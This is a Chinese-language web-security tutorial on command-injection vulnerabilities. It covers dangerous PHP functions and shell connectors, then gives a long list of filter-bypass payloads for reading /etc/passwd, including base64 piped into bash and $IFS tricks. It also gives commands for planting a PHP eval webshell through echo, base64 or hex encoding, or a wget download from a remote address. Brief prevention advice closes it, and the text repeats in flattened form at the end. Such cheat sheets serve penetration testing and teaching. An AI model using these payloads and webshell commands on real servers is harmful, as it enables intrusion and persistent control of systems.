WEB安全梳理-命令执行
字数 1256 2025-08-12 11:33:43

WEB安全梳理:命令执行漏洞详解

一、漏洞原理

命令执行漏洞是指应用程序调用执行系统命令的函数时,未对用户可控参数做过滤,导致攻击者可以将恶意系统命令拼接到正常命令中执行。常见危险函数包括:

  • system()
  • exec()
  • shell_exec()
  • eval()
  • passthru()

二、漏洞产生原因

  1. 输入过滤不足:未过滤&&&|||等连接符号
  2. 系统漏洞:如Bash破壳漏洞(CVE-2014-6271)
  3. 第三方组件漏洞:如Struts2、Elasticsearch Groovy、ThinkPHP等

三、危害

  1. 继承Web服务程序权限执行系统命令或读写文件
  2. 反弹shell
  3. 控制整个网站甚至服务器
  4. 进一步内网渗透

四、漏洞分类

  1. 直接注入执行漏洞:直接使用危险函数且参数可控
  2. 包含执行漏洞:包含用户可控的上传脚本或远程文件
  3. 反序列化执行漏洞:反序列化时执行危险函数
  4. 动态变量执行漏洞:动态组装变量/函数导致执行漏洞

五、与代码执行漏洞的区别

  • 命令执行:直接调用操作系统命令
  • 代码执行:执行脚本代码间接调用系统命令

六、常见连接符(管道符)

Windows系统

  • &:顺序执行
  • &&:前命令成功则执行后命令
  • |:管道符
  • ||:前命令失败则执行后命令

Linux系统

  • ;:顺序执行
  • &:后台执行
  • &&:前命令成功则执行后命令
  • |:管道符
  • ||:前命令失败则执行后命令

七、常见命令执行函数

  1. system():执行系统命令,有回显
  2. passthru():执行系统命令并显示原始输出
  3. shell_exec():通过shell执行命令,返回完整字符串(无回显)
  4. exec():执行外部程序,仅返回最后一行(无回显)
  5. 反引号`command` 执行命令
  6. 回调函数:如调用上述执行系统命令的函数

八、命令执行绕过技巧

Linux场景绕过

  1. 通配符绕过

    cat /et?/p?*sswd
    
  2. 命令拼接

    ls & cat /etc/passwd
    
  3. 注释符

    cat /etc/passwd #anything
    
  4. 编码绕过

    • URL编码:cat%20%2Fetc%2Fpasswd
    • Base64:
      echo "d2hvYW1p" | base64 -d | bash
      
  5. $IFS空字符

    cat$IFS/etc/passwd
    cat${IFS}/etc/passwd
    
  6. 字符拼接

    cat /"e"tc/'p'a's'swd
    
  7. 转义拼接

    \c\a\t /etc/passwd
    
  8. 变量拼接

    a=ca;b=t;$a$b /etc/passwd
    
  9. 填充垃圾字符

    cat /etc/passwd xxx
    666`whoami`666
    
  10. 反引号和$()

    echo "result : `whoami`"
    echo "result : $(whoami)"
    
  11. 重定向绕过空格

    cat<>1.txt
    cat<1.txt
    
  12. 单/双引号

    c""at 1.tx''t
    
  13. 反斜杠

    c\a\t 1.t\x\t
    
  14. \(1、\)@、$*:

    c$1a$1t 1.t$1$1x$1t
    
  15. 绕过长度限制

    echo -n "cat " > r; echo -n "/etc" >> r; echo "/passwd" >> r; cat r | bash
    
  16. 逗号绕过空格

    {cat,/etc/passwd}
    
  17. \x20绕过

    COMMAND=$'\x20-al';ls$COMMAND
    
  18. 环境变量绕过

    ${PATH:5:1}${PATH:2:1}
    
  19. 文件名通配

    cat fl[abc]g.txt
    cat f[a-z]ag.txt
    cat fla*
    

Windows场景绕过

  1. type命令

    type.\flag.txt
    type,flag.txt
    
  2. 特殊符号

    who^am^i
    who""ami"i"
    
  3. set命令

    set a=who
    set b=ami
    %a%%b%
    
  4. ping绕过

    cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
    

九、命令执行写Webshell

寻找Web路径

  1. 文件查找法

    • Linux:
      find / -name index.php
      
    • Windows:
      for /r d:/ %i in (index.html) do @echo %i
      
  2. 源码查找法

    • Linux:
      find / -name "*.*" | xargs grep "PHP installed properly"
      
    • Windows:
      findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
      
  3. 历史命令

    history | grep nginx
    

写入Webshell方法

  1. echo直接写入

    echo '<?php eval($_POST[1]); ?>' > 1.php
    
  2. Base64写入

    echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
    
  3. 绕过重定向符

    echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
    
  4. 远端下载

    wget http://xx.xx.xxx.xx:8000/xxx.php
    
  5. Hex写入

    echo '<?php eval($_POST[1]); ?>' |xxd -ps
    echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
    

十、漏洞防范

  1. 尽量避免使用系统执行命令
  2. 执行命令前对变量严格过滤,转义敏感字符
  3. 使用动态函数前确保是预期函数
  4. 对PHP语言,避免使用不能完全控制的危险函数
WEB安全梳理:命令执行漏洞详解 一、漏洞原理 命令执行漏洞是指应用程序调用执行系统命令的函数时,未对用户可控参数做过滤,导致攻击者可以将恶意系统命令拼接到正常命令中执行。常见危险函数包括: system() exec() shell_exec() eval() passthru() 二、漏洞产生原因 输入过滤不足 :未过滤 & 、 && 、 | 、 || 等连接符号 系统漏洞 :如Bash破壳漏洞(CVE-2014-6271) 第三方组件漏洞 :如Struts2、Elasticsearch Groovy、ThinkPHP等 三、危害 继承Web服务程序权限执行系统命令或读写文件 反弹shell 控制整个网站甚至服务器 进一步内网渗透 四、漏洞分类 直接注入执行漏洞 :直接使用危险函数且参数可控 包含执行漏洞 :包含用户可控的上传脚本或远程文件 反序列化执行漏洞 :反序列化时执行危险函数 动态变量执行漏洞 :动态组装变量/函数导致执行漏洞 五、与代码执行漏洞的区别 命令执行 :直接调用操作系统命令 代码执行 :执行脚本代码间接调用系统命令 六、常见连接符(管道符) Windows系统 & :顺序执行 && :前命令成功则执行后命令 | :管道符 || :前命令失败则执行后命令 Linux系统 ; :顺序执行 & :后台执行 && :前命令成功则执行后命令 | :管道符 || :前命令失败则执行后命令 七、常见命令执行函数 system() :执行系统命令,有回显 passthru() :执行系统命令并显示原始输出 shell_ exec() :通过shell执行命令,返回完整字符串(无回显) exec() :执行外部程序,仅返回最后一行(无回显) 反引号 : `command` 执行命令 回调函数 :如调用上述执行系统命令的函数 八、命令执行绕过技巧 Linux场景绕过 通配符绕过 : 命令拼接 : 注释符 : 编码绕过 : URL编码: cat%20%2Fetc%2Fpasswd Base64: $IFS空字符 : 字符拼接 : 转义拼接 : 变量拼接 : 填充垃圾字符 : 反引号和$() : 重定向绕过空格 : 单/双引号 : 反斜杠 : $1、$@、$ * : 绕过长度限制 : 逗号绕过空格 : \x20绕过 : 环境变量绕过 : 文件名通配 : Windows场景绕过 type命令 : 特殊符号 : set命令 : ping绕过 : 九、命令执行写Webshell 寻找Web路径 文件查找法 : Linux: Windows: 源码查找法 : Linux: Windows: 历史命令 : 写入Webshell方法 echo直接写入 : Base64写入 : 绕过重定向符 : 远端下载 : Hex写入 : 十、漏洞防范 尽量避免使用系统执行命令 执行命令前对变量严格过滤,转义敏感字符 使用动态函数前确保是预期函数 对PHP语言,避免使用不能完全控制的危险函数